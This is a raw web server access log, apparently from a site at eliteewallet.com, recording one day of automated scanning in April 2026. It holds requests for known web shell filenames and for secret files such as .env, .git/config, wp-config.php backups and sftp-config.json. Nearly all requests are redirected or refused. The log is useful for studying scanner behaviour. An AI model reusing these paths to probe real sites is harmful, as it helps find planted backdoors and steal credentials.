[14/Apr/2026:00:09:53 +0300] "GET /ah25.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:09:54 +0300] "GET /006.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:09:55 +0300] "GET /samll.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:09:56 +0300] "GET /zogy1.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:09:57 +0300] "GET /aios-bootstrap.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:09:58 +0300] "GET /rh.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:10:00 +0300] "GET /gz.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:10:01 +0300] "GET /gelio1.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:10:02 +0300] "GET /areak1.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:10:05 +0300] "GET /qqa.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:10:07 +0300] "GET /dx.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:10:08 +0300] "GET /ga.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:10:09 +0300] "GET /xozx.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:10:11 +0300] "GET /1100.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:10:12 +0300] "GET /press.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:10:14 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:10:15 +0300] "GET /wp-kz.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:10:17 +0300] "GET /wp-lo.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:10:19 +0300] "GET /fone1.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:10:20 +0300] "GET /Ipv6.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:10:21 +0300] "GET /file-gertdxz.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:10:23 +0300] "GET /xper1.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:10:24 +0300] "GET /yuzuru1.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:10:25 +0300] "GET /wglum1.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:10:27 +0300] "GET /saorix1.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:10:28 +0300] "GET /xper.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:10:31 +0300] "GET /wxpass.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:10:33 +0300] "GET /000.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:10:34 +0300] "GET //config.php? HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:10:36 +0300] "GET /x3x.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:10:38 +0300] "GET /xy.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:10:40 +0300] "GET /global.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:10:42 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:10:45 +0300] "GET /link.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:10:46 +0300] "GET /ortasekerli1.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:07:32 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:08:05 +0300] "GET /ng.php HTTP/1.1" 301 795 "-" "-" 43.130.139.136 - - [14/Apr/2026:00:08:07 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 158.158.43.6 - - [14/Apr/2026:00:08:09 +0300] "GET /tiny2.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:08:12 +0300] "GET /state.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:08:15 +0300] "GET /2.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:08:18 +0300] "GET /wps.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:08:21 +0300] "GET /ayk.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:08:23 +0300] "GET /wgift1.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:08:25 +0300] "GET /ss.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:08:27 +0300] "GET /tx79.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:08:28 +0300] "GET /7.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:08:31 +0300] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:08:33 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:08:35 +0300] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:08:37 +0300] "GET /tiny HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:08:40 +0300] "GET /tiny.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:08:42 +0300] "GET /eFpU3yHnriNNLtvdefault.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:08:44 +0300] "GET /class-wp-image.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:08:46 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:08:50 +0300] "GET /sadcut1.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:08:53 +0300] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:08:55 +0300] "GET /img.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:08:57 +0300] "GET /12.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:08:59 +0300] "GET /xwx1.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:09:02 +0300] "GET /xff.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:09:06 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:09:08 +0300] "GET /roksad1.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:09:10 +0300] "GET /wmore1.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:10:47 +0300] "GET /wp-block.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:10:48 +0300] "GET /wp-includes/wincust.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:10:50 +0300] "GET /acp.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:10:51 +0300] "GET /fs.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:10:54 +0300] "GET /xltt.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:10:57 +0300] "GET /ws57.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:10:58 +0300] "GET /ws61.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:11:01 +0300] "GET /ws66.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:11:03 +0300] "GET /ws80.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:11:05 +0300] "GET /xynz.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:11:07 +0300] "GET /wp-01ul.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:11:09 +0300] "GET /e7.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:11:11 +0300] "GET /e3.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:11:13 +0300] "GET /aevly.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:11:15 +0300] "GET /bthil.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:11:17 +0300] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:11:19 +0300] "GET /cilus.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:11:21 +0300] "GET /d.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:11:23 +0300] "GET /error_log.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:11:25 +0300] "GET /Ov-Simple1.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:09:21 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:09:23 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:09:26 +0300] "GET /dass.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:09:29 +0300] "GET /db.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:07:42 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:07:45 +0300] "GET /a7.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:07:47 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:07:49 +0300] "GET /mifta.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:07:51 +0300] "GET /Geforce.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:07:52 +0300] "GET /packsin1.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:07:54 +0300] "GET /xs.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:07:56 +0300] "GET /son1.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:07:57 +0300] "GET /wp-includes/theme-compat/wp-login.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:07:59 +0300] "GET /aboute.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:08:01 +0300] "GET /pp.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:11:35 +0300] "GET /curl.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:11:39 +0300] "GET /sallu.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:11:42 +0300] "GET //f6.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:11:45 +0300] "GET //edit.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:11:48 +0300] "GET //aa.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:11:51 +0300] "GET /goods_260325043000.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:11:53 +0300] "GET /goods_260401065719.php HTTP/1.1" 301 795 "-" "-" 45.156.129.97 - - [14/Apr/2026:02:57:09 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 144.172.103.254 - - [14/Apr/2026:03:25:14 +0300] "GET /wp-config.php~ HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 45.156.129.96 - - [14/Apr/2026:02:56:52 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 141.98.11.169 - - [14/Apr/2026:00:50:18 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://wordpress.org/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 172.86.91.117 - - [14/Apr/2026:03:26:22 +0300] "GET /wp-config.php_ HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 170.106.187.106 - - [14/Apr/2026:00:51:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 104.194.152.121 - - [14/Apr/2026:04:04:58 +0300] "GET /unzipper.php HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 103.153.182.150 - - [14/Apr/2026:03:52:55 +0300] "GET /wp-content/uploads/nasa-custom-fonts/xsub/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 52.23.246.176 - - [14/Apr/2026:05:55:39 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 192.144.148.122 - - [14/Apr/2026:06:02:22 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 116.76.79.40 - - [14/Apr/2026:06:37:56 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.3165.50 Safari/537.36 Edge/18.18362" 156.67.26.52 - - [14/Apr/2026:07:29:33 +0300] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 85.137.48.167 - - [14/Apr/2026:09:23:41 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 104.248.127.178 - - [14/Apr/2026:09:24:27 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 20.17.178.76 - - [14/Apr/2026:09:35:26 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 156.67.26.52 - - [14/Apr/2026:07:28:30 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 156.67.26.52 - - [14/Apr/2026:07:27:43 +0300] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 43.153.15.51 - - [14/Apr/2026:08:14:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.164.197.177 - - [14/Apr/2026:07:26:54 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.154.98.131 - - [14/Apr/2026:08:16:43 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Mobile/15E148 Safari/604.1" 185.169.4.152 - - [14/Apr/2026:10:49:13 +0300] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 104.248.127.178 - - [14/Apr/2026:09:38:50 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 221.153.152.43 - - [14/Apr/2026:10:54:05 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 185.169.4.152 - - [14/Apr/2026:10:49:10 +0300] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 43.140.247.223 - - [14/Apr/2026:12:11:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 104.248.127.178 - - [14/Apr/2026:10:49:04 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 104.248.127.178 - - [14/Apr/2026:12:56:27 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 43.135.139.165 - - [14/Apr/2026:13:25:32 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 185.247.137.66 - - [14/Apr/2026:12:46:20 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)" 18.207.98.247 - - [14/Apr/2026:13:17:23 +0300] "GET / HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 212.47.78.22 - - [14/Apr/2026:12:44:35 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 43.131.253.14 - - [14/Apr/2026:12:47:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 89.116.29.85 - - [14/Apr/2026:12:56:42 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 185.93.89.167 - - [14/Apr/2026:14:25:29 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Mobile; LYF/F61F/LYF-F61F-000-01-20-310118; Android; rv:48.0) Gecko/48.0 Firefox/48.0 KAIOS/2.0" 104.248.127.178 - - [14/Apr/2026:15:03:20 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 20.191.45.212 - - [14/Apr/2026:15:01:51 +0300] "GET / HTTP/1.1" 301 795 "-" "DuckDuckBot/1.1; (+http://duckduckgo.com/duckduckbot.html)" 185.93.89.167 - - [14/Apr/2026:14:25:29 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Mobile; rv:18.0) Gecko/18.0 Firefox/18.0" 185.93.89.167 - - [14/Apr/2026:14:25:29 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SPH-M830 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30" 114.66.17.37 - - [14/Apr/2026:15:30:20 +0300] "GET /login8.php HTTP/1.1" 301 795 "http://eliteewallet.com/login8.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:30:29 +0300] "GET /login9.php HTTP/1.1" 301 795 "http://eliteewallet.com/login9.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:30:39 +0300] "GET /fun.php?ote HTTP/1.1" 301 795 "http://eliteewallet.com/fun.php?ote" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:30:49 +0300] "GET /logins.php HTTP/1.1" 301 795 "http://eliteewallet.com/logins.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:30:59 +0300] "GET /indexl.php HTTP/1.1" 301 795 "http://eliteewallet.com/indexl.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:31:09 +0300] "GET /Index.php HTTP/1.1" 301 795 "http://eliteewallet.com/Index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:31:19 +0300] "GET /wuti.php HTTP/1.1" 301 795 "http://eliteewallet.com/wuti.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:31:29 +0300] "GET /dnn.php HTTP/1.1" 301 795 "http://eliteewallet.com/dnn.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:31:39 +0300] "GET /admin.php HTTP/1.1" 301 795 "http://eliteewallet.com/admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:31:49 +0300] "GET /api.php HTTP/1.1" 301 795 "http://eliteewallet.com/api.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:31:59 +0300] "GET /id.php?ote HTTP/1.1" 301 795 "http://eliteewallet.com/id.php?ote" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:32:09 +0300] "GET /.index_bak.php?type=2 HTTP/1.1" 301 795 "http://eliteewallet.com/.index_bak.php?type=2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:32:19 +0300] "GET /czunkn.php?type=2 HTTP/1.1" 301 795 "http://eliteewallet.com/czunkn.php?type=2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:32:29 +0300] "GET /indexback.php HTTP/1.1" 301 795 "http://eliteewallet.com/indexback.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:32:39 +0300] "GET /no_basdir.php HTTP/1.1" 301 795 "http://eliteewallet.com/no_basdir.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:32:49 +0300] "GET /123.php HTTP/1.1" 301 795 "http://eliteewallet.com/123.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:32:59 +0300] "GET /core/basic/Mod.php HTTP/1.1" 301 795 "http://eliteewallet.com/core/basic/Mod.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:33:08 +0300] "GET /somethin9.php HTTP/1.1" 301 795 "http://eliteewallet.com/somethin9.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:33:18 +0300] "GET /nkdalao.php HTTP/1.1" 301 795 "http://eliteewallet.com/nkdalao.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:33:26 +0300] "GET /she11.php HTTP/1.1" 301 795 "http://eliteewallet.com/she11.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:33:32 +0300] "GET /shell.php HTTP/1.1" 301 795 "http://eliteewallet.com/shell.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:33:40 +0300] "GET /debug.php HTTP/1.1" 301 795 "http://eliteewallet.com/debug.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:33:45 +0300] "GET /vvi.php HTTP/1.1" 301 795 "http://eliteewallet.com/vvi.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:33:51 +0300] "GET /veriHost.php HTTP/1.1" 301 795 "http://eliteewallet.com/veriHost.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:34:01 +0300] "GET /upload.php HTTP/1.1" 301 795 "http://eliteewallet.com/upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - 